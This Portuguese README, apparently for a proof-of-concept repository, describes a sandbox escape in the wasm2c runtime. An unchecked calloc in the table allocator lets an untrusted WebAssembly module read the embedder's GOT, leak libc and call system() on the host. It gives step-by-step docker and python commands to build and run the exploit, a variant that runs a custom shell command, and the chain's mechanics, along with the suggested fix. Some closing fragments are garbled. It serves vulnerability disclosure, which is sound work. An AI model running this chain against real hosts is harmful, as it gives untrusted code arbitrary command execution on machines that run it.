
Escape de sandbox wasm2c. Um módulo WebAssembly não confiável escapa da sandbox C gerada e executa um comando shell arbitrário no host.
Leia o blog: trustsig.eu/blog
wasm_rt_allocate_funcref_table() em wasm2c/wasm-rt-impl-tableops.inc define
table->size a partir da contagem de elementos declarada pelo módulo e depois ignora o resultado de
calloc(). Quando a alocação falha, a tabela fica com data == NULL e o size
declarado completo, então todas as verificações de limites continuam passando e table->data[i] torna-se o
endereço absoluto i * sizeof(wasm_rt_funcref_t).
A contagem de elementos vem do convidado, portanto o convidado escolhe o tamanho da alocação e pode forçar a falha.
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
A imagem clona o wabt na tag 1.0.41 do upstream, compila wat2wasm e wasm2c,
compila o módulo convidado e um embedder simples, e o executa.
Saída esperada:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
A última linha é o conteúdo de /tmp/pwned.txt, um arquivo que não existia antes de o
módulo em sandbox ser executado.
Verificado em linux/arm64 e linux/amd64. Nada no módulo é específico de arquitetura:
o endereço da instância, o slot da GOT e o offset da libc são todos resolvidos no
momento da compilação a partir do binário recém-construído e da libc dessa imagem.
No Linux, com clang, cmake, ninja e binutils instalados:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS não é um alvo suportado para este PoC. Darwin não impõe RLIMIT_AS, então o
calloc superdimensionado tem sucesso e o bug nunca é acionado. Builds de macOS para
arm64 são sempre independentes de posição, e Mach-O não possui GOT de ELF para a etapa
de vazamento. O defeito em si é independente de plataforma; apenas esta cadeia de
exploração é específica do Linux.
Outras versões e comandos:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref). O calloc de 68 GB falha, data fica NULL,
size permanece 2147483648, e os índices da tabela tornam-se endereços absolutos.table.get em got_slot/32 lê a GOT do embedder através da tabela quebrada e
table.set armazena o resultado nos globais do próprio módulo, onde o código wasm pode
lê-lo como um inteiro. Isso vaza o endereço de malloc da libc, e system vem de uma
distância fixa na libc do alvo.wasm_rt_funcref_t em quatro globais consecutivos: func_type apontando para uma
cópia do hash de tipo do local de chamada (func_types_eq_slowpath o compara com
, portanto bytes controlados pelo convidado passam na verificação), = , e
= a string do comando, também mantida em globais.O único fato de layout embutido no módulo é o endereço da instância do módulo, que é um global e, portanto, fixo em um embedder não-PIE. O ASLR permanece habilitado; o endereço da libc é vazado em tempo de execução.
A alocação da tabela precisa falhar. O PoC usa ulimit -v 1000000, um limite de espaço
de endereço do tipo que um host que executa código não confiável definiria. Também falha
em hosts de 32 bits, onde a alocação não pode ser satisfeita de forma alguma, com
vm.overcommit_memory=2, ou sob pressão de memória suficiente.
Em um Linux 64 bits padrão com a heurística de overcommit padrão, a alocação é bem-sucedida e nunca é tocada, e é por isso que o bug sobrevive aos testes normais.
Todas as versões que incluem tabelas do wasm2c. O calloc sem verificação remonta ao commit
ab9e0b55 (#813). Verificado contra a versão 1.0.41 lançada e o main atual.
O alocador de memória no mesmo runtime trata deste caso:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
O alocador de tabelas precisa da mesma verificação.
Dockerfile compila o wabt e executa o PoC.tableflip_poc.py gera o módulo convidado, compila o embedder, resolve as três
constantes a partir do binário compilado e da libc do alvo com nm e readelf, e
o executa. O embedder que ele emite não contém código de suporte à exploração.memcmpfuncsystemmodule_instancecall_indirect em globals_addr/32. O wasm2c emite
((t)entry.func)(entry.module_instance, ...), então isso chama system(command).